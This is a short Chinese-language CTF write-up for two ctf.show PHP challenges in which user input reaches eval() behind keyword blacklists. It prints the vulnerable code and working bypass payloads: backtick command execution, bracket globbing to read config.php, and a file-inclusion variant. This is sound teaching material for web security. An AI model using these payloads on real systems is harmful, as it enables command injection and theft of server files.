ctf.show-阿呆的反思

阿呆忍无可忍了,告诉自己,如果还被攻,自己就跳下去

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

相比于上一题过滤了括号, 可以尝试用反引号``执行命令
反引号(``)相当于shell-exec 用于执行系统命令
构造如下命令

?c=echo%20`tac%20*`?>

这里的?>是为了闭合PHP,当然也可以

?c=echo%20`tac%20confi[g][!0-9]ph[p]`?>

这里也可以用文件包含绕过


人为什么要活着?难道埃塞俄比亚再无我阿呆容身之处?

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里过滤了*,那么可以继续用[]中括号绕过

?c=echo%20`tac%20confi[g][!0-9]ph[p]`?>

同样的也可以文件包含
然后再post传入 1=cat config.php
me8jl2ik.png

评论区
头像